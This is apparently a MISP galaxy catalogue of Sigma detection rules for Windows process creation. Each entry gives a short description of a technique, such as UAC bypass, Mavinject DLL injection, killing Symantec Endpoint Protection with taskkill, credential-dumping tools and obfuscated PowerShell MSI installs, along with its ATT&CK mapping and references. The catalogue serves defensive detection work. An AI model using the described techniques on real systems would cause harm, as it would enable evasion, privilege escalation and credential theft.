https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_inline_win_api_access.yml

Potentially Suspicious CMD Shell Output Redirect

Detects inline Windows shell commands redirecting output via the ">" symbol to a suspicious location. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious CMD Shell Output Redirect"*

View relationships graph

Potentially Suspicious CMD Shell Output Redirect has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15368. Table References

Links
https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_redirection_susp_folder.yml

Whoami.EXE Execution Anomaly

Detects the execution of whoami.exe with suspicious parent processes.

The tag is: *misp-galaxy:sigma-rules="Whoami.EXE Execution Anomaly"*

View relationships graph

Whoami.EXE Execution Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

Table 15369. Table References

Links
https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s
https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/
https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_whoami_parent_anomaly.yml

Mavinject Inject DLL Into Running Process

Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag

The tag is: *misp-galaxy:sigma-rules="Mavinject Inject DLL Into Running Process"*

View relationships graph

Mavinject Inject DLL Into Running Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Mavinject - T1218.013" with estimative-language:likelihood-probability="almost-certain"

Table 15370. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.004/T1056.004.md
https://twitter.com/Hexacorn/status/776122138063409152
https://github.com/SigmaHQ/sigma/issues/3742

https://github.com/keyboardcrunch/SentinelOne-ATTACK-Queries/blob/6a228d23eefe963ca81f2d52f94b815f61ef5ee0/Tactics/DefenseEvasion.md#t1055-process-injection
https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e
https://twitter.com/gN3mes1s/status/941315826107510784
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md
https://reaqta.com/2017/12/mavinject-microsoft-injector/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mavinject_process_injection.yml

New Virtual Smart Card Created Via TpmVscMgr.EXE

Detects execution of "Tpmvscmgr.exe" to create a new virtual smart card.

The tag is: *misp-galaxy:sigma-rules="New Virtual Smart Card Created Via TpmVscMgr.EXE"*

Table 15371. Table References

Links
https://learn.microsoft.com/en-us/windows/security/identity-protection/virtual-smart-cards/virtual-smart-card-tpmvscmgr
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tpmvscmgr_add_virtual_smartcard.yml

UAC Bypass WSReset

Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config

The tag is: *misp-galaxy:sigma-rules="UAC Bypass WSReset"*

View relationships graph

UAC Bypass WSReset has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15372. Table References

Links
https://github.com/hfiref0x/UACME
https://lolbas-project.github.io/lolbas/Binaries/Wsreset/
https://medium.com/falconforce/falconfriday-detecting-uac-bypasses-0xff16-86c2a9107abf

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_wsreset_integrity_level.yml

DumpStack.log Defender Evasion

Detects the use of the filename DumpStack.log to evade Microsoft Defender

The tag is: *misp-galaxy:sigma-rules="DumpStack.log Defender Evasion"*

Table 15373. Table References

Links
https://twitter.com/mrd0x/status/1479094189048713219
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dumpstack_log_evasion.yml

Files Added To An Archive Using Rar.EXE

Detects usage of "rar" to add files to an archive for potential compression. An adversary may compress data (e.g. sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.

The tag is: *misp-galaxy:sigma-rules="Files Added To An Archive Using Rar.EXE"*

View relationships graph

Files Added To An Archive Using Rar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15374. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
https://eqllib.readthedocs.io/en/latest/analytics/1ec33c93-3d0b-4a28-8014-dbdaae5c60ae.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rar_compress_data.yml

Potential RDP Session Hijacking Activity

Detects potential RDP Session Hijacking activity on Windows systems

The tag is: *misp-galaxy:sigma-rules="Potential RDP Session Hijacking Activity"*

Table 15375. Table References

Links
https://twitter.com/Moti_B/status/909449115477659651
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tscon_rdp_session_hijacking.yml

LOLBIN Execution From Abnormal Drive

Detects LOLBINs executing from an abnormal or uncommon drive such as a mounted ISO.

The tag is: *misp-galaxy:sigma-rules="LOLBIN Execution From Abnormal Drive"*

Table 15376. Table References

Links
https://thedfirreport.com/2021/12/13/diavol-ransomware/
https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/
https://www.scythe.io/library/threat-emulation-qakbot
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lolbin_exec_from_non_c_drive.yml

Potential MsiExec Masquerading

Detects the execution of msiexec.exe from an uncommon directory

The tag is: *misp-galaxy:sigma-rules="Potential MsiExec Masquerading"*

View relationships graph

Potential MsiExec Masquerading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 15377. Table References

Links
https://twitter.com/200_okay_/status/1194765831911215104
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_masquerading.yml

VMToolsd Suspicious Child Process

Detects suspicious child process creations of VMware Tools process which may indicate persistence setup

The tag is: *misp-galaxy:sigma-rules="VMToolsd Suspicious Child Process"*

View relationships graph

VMToolsd Suspicious Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15378. Table References

Links
https://bohops.com/2021/10/08/analyzing-and-detecting-a-vmtools-persistence-technique/
https://github.com/vmware/open-vm-tools/blob/master/open-vm-tools/tools.conf
https://user-images.githubusercontent.com/61026070/136518004-b68cce7d-f9b8-4e9a-9b7b-53b1568a9a94.png
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vmware_vmtoolsd_susp_child_process.yml

Uncommon Child Process Spawned By Odbcconf.EXE

Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Spawned By Odbcconf.EXE"*

View relationships graph

Uncommon Child Process Spawned By Odbcconf.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Odbcconf - T1218.008" with estimative-language:likelihood-probability="almost-certain"

Table 15379. Table References

Links
https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16
https://medium.com/@cyberjyot/t1218-008-dll-execution-using-odbcconf-exe-803fa9e08dac
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_uncommon_child_process.yml

HackTool - UACMe Akagi Execution

Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata

The tag is: *misp-galaxy:sigma-rules="HackTool - UACMe Akagi Execution"*

View relationships graph

HackTool - UACMe Akagi Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15380. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme.yml

Run Once Task Execution as Configured in Registry

This rule detects the execution of Run Once task as configured in the registry

The tag is: *misp-galaxy:sigma-rules="Run Once Task Execution as Configured in Registry"*

View relationships graph

Run Once Task Execution as Configured in Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15381. Table References

Links
https://twitter.com/pabraeken/status/990717080805789697
https://lolbas-project.github.io/lolbas/Binaries/Runonce/
https://twitter.com/0gtweet/status/1602644163824156672?s=20&t=kuxbUnZPltpvFPZdCrqPXA
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_runonce_execution.yml

Suspicious Remote Child Process From Outlook

Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).

The tag is: *misp-galaxy:sigma-rules="Suspicious Remote Child Process From Outlook"*

View relationships graph

Suspicious Remote Child Process From Outlook has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with

estimative-language:likelihood-probability="almost-certain"

Table 15382. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html
https://github.com/sensepost/ruler
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_susp_child_processes_remote.yml

Potentially Suspicious Child Process Of Regsvr32

Detects potentially suspicious child processes of "regsvr32.exe".

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Child Process Of Regsvr32"*

View relationships graph

Potentially Suspicious Child Process Of Regsvr32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15383. Table References

Links
https://redcanary.com/blog/intelligence-insights-april-2022/
https://www.ired.team/offensive-security/code-execution/t1117-regsvr32-aka-squiblydoo
https://www.echotrail.io/insights/search/regsvr32.exe
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_child_process.yml

Java Running with Remote Debugging

Detects a JAVA process running with remote debugging allowing more than just localhost to connect

The tag is: *misp-galaxy:sigma-rules="Java Running with Remote Debugging"*

View relationships graph

Java Running with Remote Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"

Table 15384. Table References

Links
https://dzone.com/articles/remote-debugging-java-applications-with-jdwp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_remote_debugging.yml

UAC Bypass via ICMLuaUtil

Detects the pattern of UAC Bypass using ICMLuaUtil Elevated COM interface

The tag is: *misp-galaxy:sigma-rules="UAC Bypass via ICMLuaUtil"*

View relationships graph

UAC Bypass via ICMLuaUtil has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15385. Table References

Links
https://www.elastic.co/guide/en/security/current/uac-bypass-via-icmluautil-elevated-com-interface.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_icmluautil.yml

Potential Obfuscated Ordinal Call Via Rundll32

Detects execution of "rundll32" with potential obfuscated ordinal calls

The tag is: *misp-galaxy:sigma-rules="Potential Obfuscated Ordinal Call Via Rundll32"*

View relationships graph

Potential Obfuscated Ordinal Call Via Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"

Table 15386. Table References

Links
https://www.youtube.com/watch?v=52tAmVLg1KM&t=2070s
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml

HackTool - DInjector PowerShell Cradle Execution

Detects the use of the Dinject PowerShell cradle based on the specific flags

The tag is: *misp-galaxy:sigma-rules="HackTool - DInjector PowerShell Cradle Execution"*

View relationships graph

HackTool - DInjector PowerShell Cradle Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 15387. Table References

Links
https://web.archive.org/web/20211001064856/https://github.com/snovvcrash/DInjector
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_dinjector.yml

AgentExecutor PowerShell Execution

Detects execution of the AgentExecutor.exe binary. Which can be abused as a LOLBIN to execute powershell scripts with the ExecutionPolicy "Bypass" or any binary named "powershell.exe" located in the path provided by 6th positional argument

The tag is: *misp-galaxy:sigma-rules="AgentExecutor PowerShell Execution"*

View relationships graph

AgentExecutor PowerShell Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15388. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Agentexecutor/
https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
https://twitter.com/lefterispan/status/1286259016436514816
https://twitter.com/jseerden/status/1247985304667066373/photo/1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_agentexecutor_potential_abuse.yml

PUA - 3Proxy Execution

Detects the use of 3proxy, a tiny free proxy server

The tag is: *misp-galaxy:sigma-rules="PUA - 3Proxy Execution"*

View relationships graph

PUA - 3Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol Tunneling - T1572" with estimative-language:likelihood-probability="almost-certain"

Table 15389. Table References

Links
https://github.com/3proxy/3proxy
https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_3proxy_execution.yml

Shell32 DLL Execution in Suspicious Directory

Detects shell32.dll executing a DLL in a suspicious directory

The tag is: *misp-galaxy:sigma-rules="Shell32 DLL Execution in Suspicious Directory"*

View relationships graph

Shell32 DLL Execution in Suspicious Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15390. Table References

Links
https://www.group-ib.com/resources/threat-research/red-curl-2.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shell32_susp_execution.yml

DumpMinitool Execution

Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"

The tag is: *misp-galaxy:sigma-rules="DumpMinitool Execution"*

View relationships graph

DumpMinitool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 15391. Table References

Links
https://twitter.com/mrd0x/status/1511415432888131586
https://lolbas-project.github.io/lolbas/OtherMSBinaries/DumpMinitool/
https://twitter.com/mrd0x/status/1511489821247684615
https://gist.github.com/nasbench/6d58c3c125e2fa1b8f7a09754c1b087f
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpminitool_execution.yml

Hiding Files with Attrib.exe

Detects usage of attrib.exe to hide files from users.

The tag is: *misp-galaxy:sigma-rules="Hiding Files with Attrib.exe"*

View relationships graph

Hiding Files with Attrib.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 15392. Table References

Links
https://www.uptycs.com/blog/lolbins-are-no-laughing-matter
https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml

Suspicious X509Enrollment - Process Creation

Detect use of X509Enrollment

The tag is: *misp-galaxy:sigma-rules="Suspicious X509Enrollment - Process Creation"*

View relationships graph

Suspicious X509Enrollment - Process Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"

Table 15393. Table References

Links
https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_x509enrollment.yml

Sdiagnhost Calling Suspicious Child Process

Detects sdiagnhost.exe calling a suspicious child process (e.g. used in exploits for Follina / CVE-2022-30190)

The tag is: *misp-galaxy:sigma-rules="Sdiagnhost Calling Suspicious Child Process"*

View relationships graph

Sdiagnhost Calling Suspicious Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15394. Table References

Links
https://app.any.run/tasks/f420d295-0457-4e9b-9b9e-6732be227583/
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
https://twitter.com/nao_sec/status/1530196847679401984
https://app.any.run/tasks/c4117d9a-f463-461a-b90f-4cd258746798/
https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdiagnhost_susp_child.yml

Suspicious Scheduled Task Creation via Masqueraded XML File

Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation via Masqueraded XML File"*

View relationships graph

Suspicious Scheduled Task Creation via Masqueraded XML File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15395. Table References

Links
https://github.com/elastic/protections-artifacts/blob/084067123d3328a823b1c3fdde305b694275c794/behavior/rules/persistence_suspicious_scheduled_task_creation_via_masqueraded_xml_file.toml
https://learn.microsoft.com/en-us/windows/win32/taskschd/daily-trigger-example—xml-
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_schedule_via_masqueraded_xml_file.yml

DriverQuery.EXE Execution

Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers

The tag is: *misp-galaxy:sigma-rules="DriverQuery.EXE Execution"*

Table 15396. Table References

Links
https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/
https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html
https://www.vmray.com/cyber-security-blog/analyzing-ursnif-behavior-malware-sandbox/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_driverquery_usage.yml

Suspicious Network Command

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

The tag is: *misp-galaxy:sigma-rules="Suspicious Network Command"*

View relationships graph

Suspicious Network Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 15397. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-1---system-network-configuration-discovery-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_network_command.yml

Taskkill Symantec Endpoint Protection

Detects one of the possible scenarios for disabling Symantec Endpoint Protection. Symantec Endpoint Protection antivirus software services incorrectly implement the protected service mechanism. As a result, the NT AUTHORITY/SYSTEM user can execute the taskkill /im command several times ccSvcHst.exe /f, thereby killing the process belonging to the service, and thus shutting down the service.

The tag is: *misp-galaxy:sigma-rules="Taskkill Symantec Endpoint Protection"*

View relationships graph

Taskkill Symantec Endpoint Protection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15398. Table References

Links
https://community.spiceworks.com/topic/2195015-batch-script-to-uninstall-symantec-endpoint-protection
https://community.broadcom.com/symantecenterprise/communities/community-home/digestviewer/viewthread?MessageKey=6ce94b67-74e1-4333-b16f-000b7fd874f0&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=digestviewer

https://www.exploit-db.com/exploits/37525
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_taskkill_sep.yml

Remote Access Tool - AnyDesk Piped Password Via CLI

Detects piping the password to an anydesk instance via CMD and the '--set-password' flag.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - AnyDesk Piped Password Via CLI"*

View relationships graph

Remote Access Tool - AnyDesk Piped Password Via CLI has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 15399. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_anydesk_piped_password_via_cli.yml

PUA - WebBrowserPassView Execution

Detects the execution of WebBrowserPassView.exe. A password recovery tool that reveals the passwords stored by the following Web browsers, Internet Explorer (Version 4.0 - 11.0), Mozilla Firefox (All Versions), Google Chrome, Safari, and Opera

The tag is: *misp-galaxy:sigma-rules="PUA - WebBrowserPassView Execution"*

View relationships graph

PUA - WebBrowserPassView Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

Table 15400. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1555.003/T1555.003.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_webbrowserpassview.yml

HackTool - LaZagne Execution

Detects the execution of the LaZagne. A utility used to retrieve multiple types of passwords stored on a local computer. LaZagne has been leveraged multiple times by threat actors in order to dump credentials.

The tag is: *misp-galaxy:sigma-rules="HackTool - LaZagne Execution"*

Table 15401. Table References

Links
https://github.com/AlessandroZ/LaZagne/tree/master
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/
https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/raw/800c0e06571993a54e39571cf27fd474dcc5c0bc/2017/2017.11.14.Muddying_the_Water/muddying-the-water-targeted-attacks.pdf
https://cloud.google.com/blog/topics/threat-intelligence/alphv-ransomware-backup/
https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_lazagne.yml

Script Event Consumer Spawning Process

Detects a suspicious child process of Script Event Consumer (scrcons.exe).

The tag is: *misp-galaxy:sigma-rules="Script Event Consumer Spawning Process"*

View relationships graph

Script Event Consumer Spawning Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15402. Table References

Links
https://redcanary.com/blog/child-processes/
https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/scrcons-exe-rare-child-process.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_scrcons_susp_child_process.yml

Use of Wfc.exe

The Workflow Command-line Compiler can be used for AWL bypass and is listed in Microsoft's

recommended block rules.

The tag is: *misp-galaxy:sigma-rules="Use of Wfc.exe"*

View relationships graph

Use of Wfc.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15403. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wfc/
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/applications-that-can-bypass-wdac
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml

Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet

Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet

The tag is: *misp-galaxy:sigma-rules="Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet"*

View relationships graph

Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"

Table 15404. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_localgroup_member_recon.yml

Delete Important Scheduled Task

Detects when adversaries stop services or processes by deleting their respective scheduled tasks in order to conduct data destructive activities

The tag is: *misp-galaxy:sigma-rules="Delete Important Scheduled Task"*

View relationships graph

Delete Important Scheduled Task has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 15405. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_delete.yml

HackTool - Jlaive In-Memory Assembly Execution

Detects the use of Jlaive to execute assemblies in a copied PowerShell

The tag is: *misp-galaxy:sigma-rules="HackTool - Jlaive In-Memory Assembly Execution"*

View relationships graph

HackTool - Jlaive In-Memory Assembly Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 15406. Table References

Links
https://web.archive.org/web/20220514073704/https://github.com/ch2sh/Jlaive
https://jstnk9.github.io/jstnk9/research/Jlaive-Antivirus-Evasion-Tool
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_jlaive_batch_execution.yml

Suspicious JavaScript Execution Via Mshta.EXE

Detects execution of javascript code using "mshta.exe".

The tag is: *misp-galaxy:sigma-rules="Suspicious JavaScript Execution Via Mshta.EXE"*

View relationships graph

Suspicious JavaScript Execution Via Mshta.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

Table 15407. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md
https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml

Firewall Configuration Discovery Via Netsh.EXE

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems

The tag is: *misp-galaxy:sigma-rules="Firewall Configuration Discovery Via Netsh.EXE"*

View relationships graph

Firewall Configuration Discovery Via Netsh.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 15408. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules
https://ss64.com/nt/netsh.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_rules_discovery.yml

Obfuscated PowerShell MSI Install via WindowsInstaller COM

Detects the execution of obfuscated PowerShell commands that attempt to install MSI packages via the Windows Installer COM object (`WindowsInstaller.Installer`). The technique involves manipulating strings to hide functionality, such as constructing class names using string insertion (e.g., 'indowsInstaller.Installer'.Insert(0,'W')) and correcting malformed URLs (e.g., converting 'https://' to 'https://') at runtime. This behavior is commonly associated with malware loaders or droppers that aim to bypass static detection by hiding intent in runtime-generated strings and using legitimate tools for code execution. The use of `InstallProduct` and COM object creation, particularly combined with hidden window execution and suppressed UI, indicates an attempt to install software (likely malicious) without user interaction.

The tag is: *misp-galaxy:sigma-rules="Obfuscated PowerShell MSI Install via WindowsInstaller COM"*

View relationships graph

Obfuscated PowerShell MSI Install via WindowsInstaller COM has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
